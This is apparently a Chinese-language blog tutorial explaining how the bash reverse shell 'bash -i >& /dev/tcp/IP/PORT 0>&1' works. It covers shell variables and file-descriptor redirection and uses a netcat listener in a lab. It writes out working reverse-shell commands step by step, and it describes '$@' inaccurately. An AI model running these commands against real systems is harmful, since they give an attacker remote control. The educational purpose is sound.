bash -i表示打开一个交互式的shell

如图

image-20220502191747419

shell会变亮,那么有什么区别呢,可以查看当前shell的模式,好像变亮了。

1
2
3
4
5
6
7
8
9
10
11
echo $$ 返回登录shell的PID
echo $? 返回上一个命令的状态,0表示没有错误,其它任何值表明有错误
echo $# 返回传递到脚本的参数个数
echo $* 以一个单字符串显示所有向脚本传递的参数,与位置变量不同,此选项参数可超过9个
echo $! 返回后台运行的最后一个进程的进程ID号
echo $@ 返回传递到脚本的参数个数,但是使用时加引号,并在引号中返回每个参数
echo $- 显示shell使用的当前选项
echo $0 是脚本本身的名字
echo $_ 是保存之前执行的命令的最后一个参数
echo $1 传入脚本的第一个参数
echo $2 传入脚本的第二个参数

我们使用echo $-

在bash -i的情况下:

image-20220502191919657

在非bash -i的情况下:

image-20220502191953244

模式的名称不同。

我们分析一个反弹shell的命令

1
bash -i >& /dev/tcp/192.168.3.104/8888 0>&1

linux一切皆文件,中间的文件写入就是靶机建立与攻击机的tcp连接。

我们来看中间的dev/tcp/192.168.25.144/8888肯定是建立tcp连接,那么前面肯定是把bash -i的内容显示到建立连接的

192.168.25.144/8888端口上面,那么这些乱七八糟的符号是如何完成的呢?

文件描述符的使用

先从一个简单的例子来看

1
echo log > /dev/null/null 2>&1

前面的>表示输出结果重定向到哪里,比如

image-20220502201905997

如果目录下没有123.txt这个文件就会创建一个。

image-20220502201940974

对于/dev/null/null当然,显然这是我瞎编出来的文件,也就是说,log不会被输出到这个文件中,因为是空白,就会将打印信息丢掉。

1
2
3
4
5
标准输入(stdin):           代码为  0     使用 < 或 <<          默认设备键盘

标准输出(stdout): 代码为 1 使用 > 或 >> 默认设备显示器

标准错误输出(stderr): 代码为 2 使用 2> 或 2>> 默认设备显示器

2>&1里面,还有>的符号,就是输出的意思,可以和1,2组合,因为1,2都表示输出。组合结果就是

1
2
3
1>  标准输出
2> 标准输出
0< 标准输入

后面的&就是等同于的意思,所以2>&1就是标准错误输出等同于标准输出,而标准输出是什么呢,就是刚才整行命令

echo log > /dev/null/null 2>&1最前面的>符号定位的输出,也就是空白文件。

所以整行命令就是先把输出重定向到这个空白文件,然后再把标准错误输出也定向到这个空白文件,言外之意就是不显示错误了。

文件描述符搞定。

我们现在开始通过TCP连接发送

在发送方

1
echo hello >& /dev/tcp/192.168.3.104/8888

image-20220502203715665

在接收方

1
nc -lvvp 8888

image-20220502203733027

可以看到回显,但是这样的连接随即结束了。那我们不妨把bash -i发送过去

1
bash -i >& /dev/tcp/192.168.3.104/8888

image-20220502203918364

这里会显示一个实时bash。我们在发送端输入,在发送端看不到,但是在接收端可以看到这个输入。

image-20220502203953363

比如我执行了ifconfig。

但是我们看不到输入仍然很烦恼,所以我们再来个输入定向,将接收端的输入定向过来,而接收端的输入就是我们通过TCP连接传过去的内容,这样也就是我们发送的内容,在发送端也能够看到了。

image-20220502204545894

但是毕竟是TCP连接,一个套接字对应一个端口,不能再建立了,我们只能在一开始就把输入也定向回来。

image-20220502204830098

发现返回了命令行,说明我们输入自己也是可以看到的了。

image-20220502204920967

在接收端,如上图,我们执行后,发现显示了源主机的ip

image-20220502205028500

并且在接收端输入之后,输入的命令也会显示在发送端,这就是将输入重定向回来。搞定。